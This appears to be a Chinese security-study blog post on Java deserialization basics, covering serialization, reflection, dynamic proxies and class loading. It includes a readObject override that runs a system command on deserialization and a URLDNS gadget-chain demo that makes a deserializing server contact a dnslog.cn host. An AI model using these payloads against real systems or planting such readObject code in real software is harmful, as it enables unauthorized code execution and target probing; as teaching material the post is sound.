Java反序列化基础
2024-07-21 19:29:26

Java序列化和反序列化的基础知识

原生方法 - demo

一个实现了Serializable接口的类,可以进行序列化操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package JavaCode.JavaSer.BabyDemo;

import java.io.Serializable;
// 实现了 Serializable接口的类才能进行序列化
public class Person implements Serializable {

private String name;
private int age;

public Person(){

}

public Person(String name, int age){
this.name = name;
this.age = age;
}

@Override
public String toString(){
return "Person{"+
"name=" + name + "'"+
", age=" + age +
"}";
}
}

进行序列化的类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package JavaCode.JavaSer.BabyDemo;

import utils.Serialization;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class SerializationTest{

public static void serialize(Object obj) throws IOException{
// 以文件流的形式封装, 再以Object流的形式封装
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
// 将对象写入到流中
oos.writeObject(obj);
}

public static void main(String[] args) throws Exception{
Person person = new Person("aa", 22);
System.out.println(person);
serialize(person);
}
}

进行反序列化的类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package JavaCode.JavaSer.BabyDemo;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnserializationTest {

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
return ois.readObject();
}

public static void main(String[] args) throws Exception{
Person person = (Person) unserialize("ser.bin");
System.out.println(person);
}

}
  1. 流对象:
  • ObjectOutputStream:代表对象输出流

    • writeObject:往对象输出流中写入对象
  • ObjectInputStream:代表对象输入流

    • readObject:往对象输入流中读取对象
  1. 实现Serializable接口的子类也可以被序列化

  2. 静态成员变量是不能被序列化的,序列化是针对对象属性的,而静态成员变量是属于类的

  3. transient标识的对象成员变量不参与序列化

重写方法 - demo

重写方法指的是重写writeObjectreadObject方法

重写是为了对于某些特定需求进行定制化的序列化和反序列化

比如你可以只实现一些属性的序列化

此处便有安全问题:当服务端进行反序列化数据时,客户端传递类的readObject方法中的代码会被执行

场景:

  • 入口类的readObject直接调用危险方法
1
2
3
4
5
6
7
8
9
10
11
12
public class Person implements Serializable {

// ...

private void readObject(ObjectInputStream objectInputStream) throws IOException, ClassNotFoundException{
// 重写readObject时得先执行defaultReadObject
objectInputStream.defaultReadObject();

// 重写方法中的逻辑代码
Runtime.getRuntime().exec("calc");
}
}
  • 入口类参数中包含可控类,该类有危险方法,readObject时调用

    • 入口类:source(重写readObject,调用常见函数,参数类型宽泛,最后jdk自带)
    • 调用链:gadget chain
    • 执行类:sinkrcessrf,写文件等)
  • 入口类参数中包含可控类,该类又调用其他危险方法的类,readObject时调用

Java反射和URLDNS链

Java反射机制

反射让java具有动态性

此处主要从几个方面来学习Java反射

  • 从原型class里面实例化对象
  • 获取类内的属性
  • 获取、调用类里面的方法

在Java反序列化中的应用:

  • 使用反射修改属性,可以获取定制化的类对象
  • 通过invoke调用除了同名函数以外的函数
  • 通过Class类创建对象,引入不能序列化的类
    • 一个很经典的例子就是Runtime.class
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package JavaCode.JavaSer.BabyDemo;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class ReflectionTest {

public static void main(String[] args) throws Exception{
Person person = new Person();
// System.out.println(person.getClass());

Class c = person.getClass();

// 1. 从原型class里面实例化对象
c.newInstance();
// 获取类内的构造方法
Constructor personConstructor = c.getConstructor(String.class, int.class);
Person p = (Person) personConstructor.newInstance("abc", 22);

// 2. 获取类内的属性
Field[] personFields = c.getFields(); // 获取 public
Field[] personDeclaredFields = c.getDeclaredFields(); // 获取所有的
System.out.println("getFields function:");
for(Field f:personFields){
System.out.println(f);
}

System.out.println("getDeclaredFields function:");
for(Field fd:personDeclaredFields){
System.out.println(fd);
}

Field nameField = c.getDeclaredField("age");
nameField.setAccessible(true);
nameField.set(p,25);
System.out.println(p);


//3. 调用类里面的方法
// 获取类内的方法
Method[] personMethods = c.getMethods();
for(Method m: personMethods){
System.out.println(m);
}
// 获取特定的方法, 得指定参数类型
Method actionMethod = c.getMethod("action", String.class);
// 使用invoke调用方法
actionMethod.invoke(p,"action");
}

}

URLDNS链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package JavaCode.JavaSer.BabyDemo;

import com.sun.xml.internal.ws.policy.privateutil.PolicyUtils;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS_demo {

public static void unser(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream obs = new ObjectInputStream(new FileInputStream(filename));
obs.readObject();
}

public static void ser(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static void main(String[] args) throws Exception{
HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
URL url = new URL("http://0gwgvs.dnslog.cn");
Class c = url.getClass();

Field field = c.getDeclaredField("hashCode");

field.setAccessible(true);
field.set(url, 1234); // 随便设置一个hashcode值 只要不是-1就不会在序列化时触发另一个分支
hashMap.put(url, 123);

field.set(url, -1); // 最后修改为hashcode为-1 使得反序列化时能够触发请求分支

ser(hashMap);
unser("ser.bin");
}
}

JDK动态代理

代理

image-20240613222549532

比如Subject是一个抽象类或者接口,RealSubject是实现方法类,是具体的业务逻辑,Proxy则是RealSubject的代理,与客户端直接接触

代理模式是java设计模式中的一条,指在不修改被代理对象的基础上,通过扩展代理类,进行一些功能的附加与增强

代理类和被代理类应该共同实现一个接口,或者共同继承某个类

静态代理

定义接口

1
2
3
4
5
6
7
8
9
10
11
12
package JavaCode.JavaProxy;


// IUser接口下有一个show方法
public interface IUser {
void show();

void update();

void create();
}

代理类,需要实现IUser接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package JavaCode.JavaProxy;

public class UserProxy implements IUser{

public IUser user;

public UserProxy(IUser user) {
this.user = user;
}

@Override
public void show() {
System.out.println("proxy show");
}

@Override
public void update(){
System.out.println("proxy update");
}


@Override
public void create(){
System.out.println("proxy create");
}
}

在main中进行使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package JavaCode.JavaProxy;

import Fastjson.User;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

public class ProxyTest {

public static void main(String[] args){
// 未经过任何代理
UserImpl user = new UserImpl();
user.show();
// 静态代理
IUser userProxy = new UserProxy(user);
userProxy.show(); // 静态代理类中调用show方法
}
}

动态代理 => 从JDK底层实现

静态代理都需要为对应的类实现一个代理类,随着程序规模增大,这这种方法显得臃肿

因此JDK在底层实现了一套动态代理的机制

主要是Proxy.newProxyInstance()这个函数方法

这个是函数原型:

1
2
3
public static Object newProxyInstance(ClassLoader loader,
Class<?>[] interfaces,
InvocationHandler h)

我们的业务逻辑主要在InvocationHandler的具体实现中

需要重写invoke方法,当调用代理类实例的方法时,会调用invoke方法

image-20240618113648072

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package JavaCode.JavaProxy;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Objects;

public class UserInvocationHandler implements InvocationHandler {

IUser user;

public UserInvocationHandler(){
IUser iUser;
}

public UserInvocationHandler(IUser iUser){
this.user = iUser;
}

// 重写时的参数列表跟着接口中的定义写即可
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
// 动态代理时进行反射调用
// 需指明是由哪个对象进行调用该方法
// 以及参数是什么
System.out.println(method.toString());
if(method.toString().contains("show")){
System.out.println("This is invoke method when proxy the show method");
}else if(method.toString().contains("update")){
System.out.println("This is invoke method when proxy the update method");
}

// 通过invoke方法调用
method.invoke(this.user, args);

return null; // 多层代理的话直接返回proxy
}
}

在main中进行调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package JavaCode.JavaProxy;

import Fastjson.User;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

public class ProxyTest {

public static void main(String[] args){
UserImpl user = new UserImpl();
// user.show();

// 动态代理
InvocationHandler userinvocationHandler = new UserInvocationHandler(user);
// 使用JDK提供的动态代理机制构建一个代理后的对象
// 参数: ClassLoader, Class<?>[] Interface, InvocationHandler(调用处理器类)
IUser proxy_users = (IUser) Proxy.newProxyInstance(user.getClass().getClassLoader(), user.getClass().getInterfaces(), userinvocationHandler);
proxy_users.show();
//proxy_users.update();
}


}

在java安全的应用:

readObject => 反序列化时会自动调用

invoke => 动态代理时会自动调用重写或原生的invoke函数,从而能够拼接链子

类的动态加载

Note:Java中的抽象类不能进行实例化,只能用来被继承

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package JavaCode.JavaSer.BabyDemo;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;


// 实现了 Serializable接口的类才能进行序列化
public class Person implements Serializable {

private String name;
private int age;

public static int id;

static {
System.out.println("静态代码块");
}

public static void staticAction(){
System.out.println("静态方法");
}

{
System.out.println("构造代码块");
}

public Person(){
System.out.println("无参Person");
}

public Person(String name, int age){
this.name = name;
this.age = age;
System.out.println("有参Person");
}

@Override
public String toString(){
return "Person{"+
"name='" + name + "'"+
", age=" + age +
"}";
}

private void readObject(ObjectInputStream objectInputStream) throws IOException, ClassNotFoundException{
// 重写readObject时得先执行defaultReadObject
objectInputStream.defaultReadObject();

// 重写方法中的逻辑代码
Runtime.getRuntime().exec("calc");
}
}

在初始化的时候会调用静态方法

在实例化的时候会调用构造方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package JavaCode.JavaSer.BabyDemo;

public class LoadClassTest {

public static void main(String[] args) throws Exception{

// new Person();

// new Person("a", 22);

// Person.staticAction();

// Person.id = 1;

// Class c = Person.class;

// 静态代码块 => 调用了底层的forName0, 初始化值默认为true
// Class.forName("JavaCode.JavaSer.BabyDemo.Person");

ClassLoader cl = ClassLoader.getSystemClassLoader();
Class<?> c = Class.forName("JavaCode.JavaSer.BabyDemo.Person", false, cl);
c.newInstance();

}
}

类的生命周期

一个类的完整生命周期

image-20240618121236477

双亲委派机制

参考我之前的博客:https://www.cnblogs.com/icfh/p/18048130

当类进行加载时,需要进入到对应的类加载器,否则可能引起安全问题。所以双亲委派机制主要用于解决类错乱加载的问题,总结来说就是优先考虑上层的类加载器:

  • 类加载器收到类加载的请求
  • 将这个请求向上委托给父类加载器去完成,一直向上委托,知道启动类加载
  • 启动加载器检查是否能够加载当前这个类,能加载就结束,使用当前的加载器,否则,抛出异常,此时子加载器进行加载
  • 重复步骤3

img

具体的代码实现在loadClass函数中

Prev
2024-07-21 19:29:26